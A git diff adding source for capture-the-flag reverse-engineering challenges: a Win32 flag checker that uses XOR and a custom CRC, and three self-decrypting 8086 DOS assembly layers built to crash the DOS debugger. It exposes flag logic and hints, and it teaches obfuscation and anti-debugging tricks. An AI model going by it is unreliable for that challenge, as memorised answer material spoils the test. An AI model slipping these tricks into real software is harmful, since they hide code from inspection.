+		y = (DesktopRect.bottom + DesktopRect.top - DlgHeight)/2;
+
+		MoveWindow(hDlg,x,y,DlgWidth,DlgHeight,FALSE);
+
+		return TRUE;
+		break;
+	case WM_CLOSE:
+		EndDialog(hDlg,0);
+		return TRUE;
+		break;
+
+	case WM_COMMAND:
+		switch (LOWORD(wParam))
+		{
+		case IDOK:
+			TCHAR cFlag[40];
+			GetDlgItemText(hDlg,IDC_TXT,cFlag,sizeof(cFlag)/sizeof(TCHAR)+1);
+			if(CheckFlag(cFlag))
+			{
+				TCHAR flag[40];
+				wsprintf(flag,"hctf{%s}",cFlag);//C1c320r64?
+				MessageBox(hDlg,(LPCSTR)flag,(LPCSTR)"Right",MB_OK);
+			}
+			else
+			{
+				MessageBox(hDlg,(LPCSTR)"It's not flag",(LPCSTR)"Wrong",MB_OK);
+			}
+			return TRUE;
+			break;
+		case IDCANCEL:
+			SendMessage(hDlg,WM_CLOSE,0,0);
+			return TRUE;
+			break;
+		}
+	}
+	return FALSE;
+}
+
+TCHAR Text[257] = "So this is a not diffcult problem if you have a very good compute.But if you do not have a good computer.It seems that This problem will take a lot of time.But not thing is impossible.So just try it!!Some times,The thing we seem is not reall [][]()()<><>..";
+TCHAR flag[] = "d'wuh`ufj&"; 
+//It is a crc program!
+BOOL CheckFlag(LPTSTR cFlag)
+{
+	int len = strlen(cFlag);
+	unsigned long long int crc;
+	if (len != 20)
+	{
+		return FALSE;
+	}
+	for(int i = 0; i< 10 ; i++)
+	{
+		if(flag[i] != (cFlag[i+10]^7))
+			return 0;
+	}
+	for(int i = 0; i < 10 ; i++)
+	{
+		Text[i*16+i] = cFlag[i];
+	}
+	crc = Div((unsigned char *)Text,256);
+	//TCHAR tmp[20] = {0};
+	//wsprintf(tmp,"%lx",crc);
+	//MessageBox(NULL,tmp,"233",MB_OK);
+	if (crc == targetCrc)
+	{
+		return TRUE;
+	}
+	else
+	{
+		return FALSE;
+	}
+}
+
+unsigned long long int Div(unsigned char *Data, int len)
+{
+	unsigned long long int CRC32;
+	int i;
+	unsigned long long int m_CRC = 0xFFFFFFFFFFFFFFFF;
+	unsigned char *p;
+
+	p = Data;
+	for(i = 0; i < len; i += 2)
+	{
+		m_CRC = (unsigned long long int)(crc_table[(((unsigned int)m_CRC ^ p[i]) & 0xFF)*2] ^ ((unsigned int)m_CRC >> 8)) + ((unsigned long long int)(crc_table[(((unsigned int)(m_CRC >> 32) ^ p[i+1]) & 0xFF)*2 + 1] ^ (unsigned int)(m_CRC >> (8+32))) << 32);
+	}
+	CRC32 = ~m_CRC;
+
+	return CRC32;
+}
+
+
+
+
diff --git a/Re-x8086/README.md b/Re-x8086/README.md
new file mode 100644
index 0000000..857eeaf
--- /dev/null
+++ b/Re-x8086/README.md
@@ -0,0 +1,9 @@
+# 复古的程序
+
+代码会自解密2次。为了解密出的代码可以正常跑，所有的call指令，绝对跳转指令都不能使用Orz。
+
+然后，为了坑爹，我把栈，数据，代码全部混在了一起。因为栈和代码在一起。只要一使用dos的debug就会直接崩溃（不要问我怎么知道了，说多了都是泪）
+
+code123分别是我写的3层代码，编译好后用WinHex扣出来放到下一层代码中。一层一层套起来。
+
+flag:Here is a flag len is 24
\ No newline at end of file
diff --git a/Re-x8086/code1/CODE.EXE b/Re-x8086/code1/CODE.EXE
new file mode 100644
index 0000000..527348f
Binary files /dev/null and b/Re-x8086/code1/CODE.EXE differ
diff --git a/Re-x8086/code1/code.asm b/Re-x8086/code1/code.asm
new file mode 100644
index 0000000..952172d
--- /dev/null
+++ b/Re-x8086/code1/code.asm
@@ -0,0 +1,84 @@
+;半成品版本，少一层壳，反调试不是很好
+assume cs:code
+
+code	segment
+	db 25,?,25 dup (0)
+	db 33 dup (0)
+	db 33 dup (0)
+	db 55h,6Fh,6EH,5AH,45H,60H,45H,45H,54H,51H,5DH,45H,64H,45H,4EH,5DH,5BH,6BH,4BH,79H,4BH,76H,48H,3CH,40H,7EH,54H,77H,7EH,6FH,40H,74H,0
+	db "you got it",'$'
+	db "try again",'$'
+start:
+	mov ax,code
+	mov ds,ax
+	mov ss,ax
+	mov sp,offset xorEnd
+	sub sp,2
+	mov bp,sp
+	
+xor_loop:
+	mov ax,[bp]
+	xor [bp-2],ax
+	sub bp,2
+	sub sp,2
+
+	cmp bp,offset xorCode
+	jz xorcode
+
+	jmp xor_loop
+	
+	;mov ax,[si]
+	;xor [si-2],ax
+	;sub si,2
+
+	;cmp si,offset xorCode
+	;jz aaaa ;xorCode
+	;jmp xor_loop
+
+
+xorCode:
+	db 55, 69, 188, 130, 224, 190, 97, 189, 130, 232, 188, 105, 191
+	db 130, 248, 131, 134, 128, 105, 117, 17, 179, 3, 198, 238, 101
+	db 123, 61, 220, 109, 91, 34, 172, 22, 187, 232, 230, 232, 87, 3
+	db 99, 226, 99, 228, 99, 232, 208, 40, 138, 193, 8, 123, 130, 84
+	db 119, 45, 179, 66, 199, 69, 234, 65, 123, 25, 220, 109, 91, 34
+	db 172, 21, 187, 235, 194, 232, 115, 5, 99, 228, 99, 226, 99, 238
+	db 208, 40, 138, 129, 137, 197, 127, 131, 84, 118, 45, 179, 66, 196
+	db 69, 233, 28, 123, 68, 165, 79, 34, 172, 20, 187, 234, 158, 232
+	db 47, 7, 99, 230, 208, 36, 138, 129, 138, 198, 197, 128, 68, 198
+	db 135, 46, 148, 138, 224, 63, 38, 63, 57, 5, 57, 6, 38, 52, 38, 53
+	db 0, 6, 15, 59, 45, 19, 37, 117, 49, 108, 66, 0, 116, 0, 10, 1, 8
+	db 22, 123, 61, 1, 46, 65, 6, 12, 13, 27, 37, 87, 24, 15, 48, 102, 5
+	db 33, 55, 23, 49, 47, 43, 47, 56, 12, 16, 95, 55, 102, 5, 3, 39, 2
+	db 96, 26, 66, 2, 31, 38, 56, 47, 54, 13, 51, 56, 61, 78, 46, 65, 5
+	db 54, 14, 61, 37, 75, 6, 123, 23, 15, 11, 15, 50, 12, 44, 31, 44, 21
+	db 36, 14, 55, 10, 23, 42, 1, 95, 50, 102, 5, 3, 63, 2, 120, 26, 66
+	db 2, 31, 38, 56, 46, 54, 12, 51, 14, 61, 120, 46, 65, 5, 12, 14, 7
+	db 37, 75, 6, 123, 23, 15, 11, 8, 50, 11, 53, 60, 31, 54, 14, 14, 55
+	db 10, 27, 42, 25, 92, 35, 114, 50, 10, 53, 40, 31, 34, 14, 1, 29, 35
+	db 40, 14, 60, 11, 84, 0, 121, 46, 42, 29, 42, 24, 46, 15, 6, 43, 60
+	db 60, 27, 16, 43, 0, 92, 0, 64, 8, 43, 27, 17, 27, 9, 28, 44, 60, 81
+	db 27, 3, 74, 117, 116, 121, 46, 121, 46, 42, 29, 42, 24, 50, 15, 26
+	db 7, 58, 8, 9, 11, 25, 6, 59, 51, 50, 48, 126, 49, 123, 89, 31, 110
+	db 19, 106, 27, 122, 27, 100, 10, 100, 10, 26, 1, 18, 45, 50, 32, 24
+	db 29, 66, 22, 90, 32, 44, 80, 49, 103, 64, 53, 81, 37, 87, 0, 83, 115
+	db 11, 6, 31, 95, 38, 28, 62, 30, 46, 31, 0, 26, 15, 39, 44, 46, 35, 51
+	db 12, 100, 37, 96, 42, 60, 113, 46, 98, 16, 19, 100, 59, 125, 40, 27
+	db 21, 30, 119, 12, 68, 16, 31, 30, 42, 62, 48, 52, 71, 7, 13, 17, 86
+	db 5, 40, 38, 5, 5, 49, 50, 2, 5, 72, 17, 11, 5, 117, 38, 5, 92, 49
+	db 109, 40, 3, 31, 12, 6, 58, 115, 30, 113, 62, 5, 124, 51, 109, 71, 2
+	db 4, 20, 3, 17, 89, 16, 32, 54, 97, 20, 107, 23, 5, 17, 5, 94, 51, 121
+	db 71, 17, 85, 40, 41, 68, 103, 68, 89, 68, 89, 67, 102, 67, 102, 67
+	db 125, 67, 33, 18, 74, 146, 42, 244, 205, 109, 70, 242, 1, 27, 49, 201
+	db 187, 234, 30, 123, 148, 81, 0, 13, 49, 206, 187, 233, 20, 123, 158
+	db 113, 1, 59, 8, 33, 130, 143, 70, 247, 188, 129, 143, 71, 247, 190, 128
+	db 143, 64, 244, 186, 225, 139, 104, 242, 224, 225, 105, 160, 154, 42, 60
+	db 123, 166, 105, 193, 139, 71, 242, 239, 193, 2, 90, 123, 155, 105, 176
+	db 139, 57, 242, 224, 176, 105, 241, 180, 42, 57, 123, 141, 105, 171, 140
+	db 46, 196, 59, 90, 61, 123, 178, 175, 50, 196, 130, 143, 15, 247, 245, 129
+	db 143, 9, 157, 184, 20, 90, 41, 20, 61, 8, 20, 30, 102, 0, 56, 123, 163, 144
+xorEnd:
+
+code	ends
+end	start
+
diff --git a/Re-x8086/code2/CODE.EXE b/Re-x8086/code2/CODE.EXE
new file mode 100644
index 0000000..9d961c8
Binary files /dev/null and b/Re-x8086/code2/CODE.EXE differ
diff --git a/Re-x8086/code2/code.asm b/Re-x8086/code2/code.asm
new file mode 100644
index 0000000..7c9a5b4
--- /dev/null
+++ b/Re-x8086/code2/code.asm
@@ -0,0 +1,175 @@
+;半成品版本，少一层壳，反调试不是很好
+assume cs:code
+
+code	segment
+	db 25,?,25 dup (0)
+	db 33 dup (0)
+	db 33 dup (0)
+	db 55h,6Fh,6EH,5AH,45H,60H,45H,45H,54H,51H,5DH,45H,64H,45H,4EH,5DH,5BH,6BH,4BH,79H,4BH,76H,48H,3CH,40H,7EH,54H,77H,7EH,6FH,40H,74H,0
+	db "you got it",'$'
+	db "try again",'$'
+start:
+	mov ax,code
+	mov ds,ax
+	mov ss,ax
+	mov sp,offset base64
+	mov bp,offset base64
+	mov di,offset base64
+
+base_start:
+	cmp byte ptr [bp],23
+	jnz	s1
+
+	mov byte ptr [di],0
+	jmp main_end
+
+s1:
+	;mov ax,[si]
+	pop ax
+	dec sp
+	xor ax,1717h
+	mov bx,1 ;offset r1
+	jmp change
+
+r1:
+	mov cl,2
+	shl al,cl
+	mov cl,4
+	shr ah,cl
+	add al,ah
+	mov [di],al
+
+
+	cmp byte ptr [bp+2],42
+	jnz s2
+	mov byte ptr [di+1],0
+	jmp main_end
+s2:
+	;mov ax,[si+1]
+	pop ax
+	dec sp
+	xor ax,1717h
+	mov bx,2 ;offset r2
+	jmp change
+r2:
+	mov cl,4
+	shl al,cl
+	mov cl,2
+	shr ah,cl
+	add al,ah
+	mov [di+1],al
+
+
+	cmp byte ptr [bp+3],42
+	jnz s3
+	mov byte ptr [di+2],0
+	jmp main_end
+s3:
+	;mov ax,[si+2]
+	pop ax
+	;dec sp
+	xor ax,1717h
+	mov bx,3 ;offset r3
+	jmp change
+r3:
+	mov cl,6
+	shl al,cl
+	add al,ah
+	mov [di+2],al
+
+	add di,3
+	add bp,4
+	jmp base_start
+
+main_end:
+
+base64:	
+	db 97, 112, 94, 86, 97, 111, 100, 86, 98, 112, 86, 86, 99, 86, 101
+	db 89, 94, 116, 77, 81, 56, 96, 84, 34, 84, 86, 84, 92, 85, 84, 67
+	db 47, 126, 46, 80, 111, 86, 99, 91, 120, 126, 47, 102, 32, 86, 70
+	db 83, 103, 100, 112, 85, 95, 126, 112, 70, 124, 86, 35, 97, 69, 100
+	db 70, 67, 68, 35, 94, 97, 92, 126, 122, 70, 85, 112, 88, 67, 96, 126
+	db 46, 80, 111, 85, 89, 91, 100, 126, 47, 120, 84, 111, 91, 100, 84
+	db 86, 88, 122, 71, 86, 82, 114, 92, 69, 86, 82, 124, 83, 35, 97, 69
+	db 100, 70, 91, 68, 35, 94, 97, 92, 126, 122, 70, 84, 112, 88, 67, 86
+	db 126, 46, 80, 111, 85, 99, 91, 100, 126, 47, 120, 84, 111, 91, 100
+	db 83, 86, 88, 99, 100, 124, 82, 114, 92, 69, 86, 94, 124, 71, 32, 100
+	db 82, 86, 88, 99, 112, 124, 82, 114, 83, 111, 112, 71, 126, 123, 117
+	db 47, 117, 86, 91, 124, 70, 86, 94, 120, 81, 126, 122, 66, 70, 89, 86
+	db 114, 86, 46, 86, 110, 94, 69, 69, 84, 94, 93, 66, 113, 126, 32, 101
+	db 35, 47, 86, 91, 47, 117, 86, 91, 124, 70, 86, 94, 100, 81, 126, 86
+	db 68, 94, 77, 85, 84, 83, 111, 96, 93, 80, 35, 97, 88, 56, 71, 86, 84
+	db 60, 79, 70, 84, 34, 94, 70, 84, 92, 85, 78, 120, 124, 88, 100, 69
+	db 38, 83, 124, 115, 80, 35, 97, 68, 33, 113, 112, 84, 39, 84, 116, 39
+	db 127, 33, 96, 126, 70, 98, 120, 124, 86, 99, 86, 121, 89, 94, 117
+	db 112, 86, 67, 90, 39, 127, 71, 85, 123, 36, 85, 70, 69, 85, 33, 110
+	db 92, 70, 71, 83, 89, 36, 85, 96, 69, 127, 91, 85, 101, 101, 81, 34
+	db 86, 47, 71, 121, 66, 81, 100, 84, 97, 101, 83, 103, 86, 47, 71, 36
+	db 66, 81, 100, 84, 56, 101, 85, 77, 86, 82, 90, 84, 96, 39, 126, 86, 64
+	db 83, 60, 96, 81, 39, 83, 35, 71, 32, 86, 121, 70, 89, 112, 56, 100, 83
+	db 115, 86, 98, 83, 60, 96, 69, 39, 84, 114, 124, 91, 56, 60, 124, 101
+	db 56, 60, 123, 90, 56, 60, 123, 65, 56, 96, 42, 42
+	mov ax,4c00h
+	int 21h
+
+change:
+	mov dx,bx
+	mov cl,al
+	mov bx,1 ;offset c1
+	jmp c
+c1:	
+	mov al,cl
+	mov cl,ah
+	mov bx,2 ;offset c2
+	jmp c
+c2:
+	mov ah,cl
+	mov bx,dx
+	cmp bx,1
+	jz k1
+	cmp bx,2
+	jz k2
+	cmp bx,3
+	jz k3
+
+
+c:
+	cmp cl,'a'
+	jb ca
+	sub cl,'a'
+	add cl,26
+	jmp c_end
+ca:
+	cmp cl,'A'
+	jb cb
+	sub cl,'A'
+	jmp c_end
+cb:
+	cmp cl,'0'
+	jb cc
+	sub cl,'0'
+	add cl,52
+	jmp c_end
+cc:
+	cmp cl,'+'
+	jnz cd
+	mov cl,62
+	jmp c_end
+cd:
+	mov cl,63
+c_end:
+	cmp bx,1
+	jz k4
+	cmp bx,2
+	jz k5
+
+k1:	jmp r1
+k2:	jmp r2
+k3:	jmp r3
+k4:	jmp c1
+k5:	jmp c2
+
+
+code	ends
+end	start
+
diff --git a/Re-x8086/code3/CODE.EXE b/Re-x8086/code3/CODE.EXE
new file mode 100644
index 0000000..f8b1b96
Binary files /dev/null and b/Re-x8086/code3/CODE.EXE differ
diff --git a/Re-x8086/code3/code.asm b/Re-x8086/code3/code.asm
new file mode 100644
index 0000000..50bcaba
--- /dev/null
+++ b/Re-x8086/code3/code.asm
@@ -0,0 +1,180 @@
+assume cs:code
+
+data	segment
+	db 25,?,25 dup (0)
+	db 33 dup (0)
+	db 33 dup (0)
+	db 55h,6Fh,6EH,5AH,45H,60H,45H,45H,54H,51H,5DH,45H,64H,45H,4EH,5DH,5BH,6BH,4BH,79H,4BH,76H,48H,3CH,40H,7EH,54H,77H,7EH,6FH,40H,74H,0
+	db "you got it",'$'
+	db "try again",'$'
+data ends
+
+
+code	segment
+start:
+	mov si,2
+	mov di,27
+
+	mov dx,0
+	mov ah,0ah
+	int 21h
+
+	mov byte ptr [di-1],0
+
+	mov cx,8
+base:	mov al,[si]
+	and al,0FCh
+
+	mov dx,cx
+	mov cl,2
+	shr al,cl
+	mov cx,dx
+
+	mov bx,1;offset a1
+	jmp m
+a1:
+	inc di
+	mov al,[si]
+	and al,3
+
+	mov dx,cx
+	mov cl,4
+	shl al,cl
+	mov cx,dx
+	
+	mov ah,[si+1]
+	and ah,0F0h
+	
+	mov dx,cx
+	mov cl,4
+	shr ah,cl
+	mov cx,dx
+
+	add al,ah
+	mov bx,2;offset a2
+	jmp m
+a2:
+	inc di
+	mov al,[si+1]
+	and al,0Fh
+	
+	mov dx,cx
+	mov cl,2
+	shl al,cl
+	mov cx,dx
+
+	mov ah,[si+2]
+	and ah,0C0h
+	
+	mov dx,cx
+	mov cl,6
+	shr ah,cl
+	mov cx,dx
+
+	add al,ah
+	mov bx,3;offset a3
+	jmp m
+a3:
+	inc di
+	mov al,[si+2]
+	and al,03Fh
+	mov bx,4;offset a4
+	jmp m
+a4:
+	inc di
+	add si,3
+	loop base
+
+
+	mov di,27
+	mov cx,16
+xor_loop:
+	mov al,[di]
+	mov ah,[di+16]
+	xor al,7
+	xor ah,12
+	mov [di+16],al
+	mov [di],ah
+	inc di
+	loop xor_loop
+
+	mov si,60
+	mov di,27
+	mov cx,16
+l:
+	mov ax,[di]
+	mov [si],al
+	mov [si+16],ah
+	add di,2
+	inc si
+	loop l
+
+	mov di,60
+	mov si,93
+	mov cx,33
+cmp_loop:
+	mov al,[di]
+	mov ah,[si]
+	cmp al,ah
+	jnz f
+	inc di
+	inc si
+	loop cmp_loop
+
+	mov dx,126
+	mov ah,9
+	int 21h
+	jmp exit
+f:
+	mov dx,137
+	mov ah,9
+	int 21h
+
+exit:
+	mov ax,4c00h
+	int 21h
+
+m:	cmp al,25
+	ja s1
+	add al,'A'
+	jmp EN
+s1:
+	cmp al,51
+	ja s2
+	add al,'a'
+	sub al,26
+	jmp EN
+s2:
+	cmp al,62
+	jnz s3
+	mov al,'+'
+	jmp EN
+s3:
+	cmp al,63
+	jnz s4
+	mov al,'/'
+	jmp EN
+s4:
+	add al,'0'
+	sub al,52
+
+EN:
+	mov [di],al
+
+	cmp bx,1
+	jz k1
+	cmp bx,2
+	jz k2
+	cmp bx,3
+	jz k3
+	cmp bx,4
+	jz k4
+
+k1:	jmp a1	
+k2:	jmp a2
+k3:	jmp a3
+k4:	jmp a4
+
+code	ends
+end	start
+	
\ No newline at end of file
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..6824ea8
--- /dev/null
+++ b/index.html
@@ -0,0 +1 @@
+I am explorer.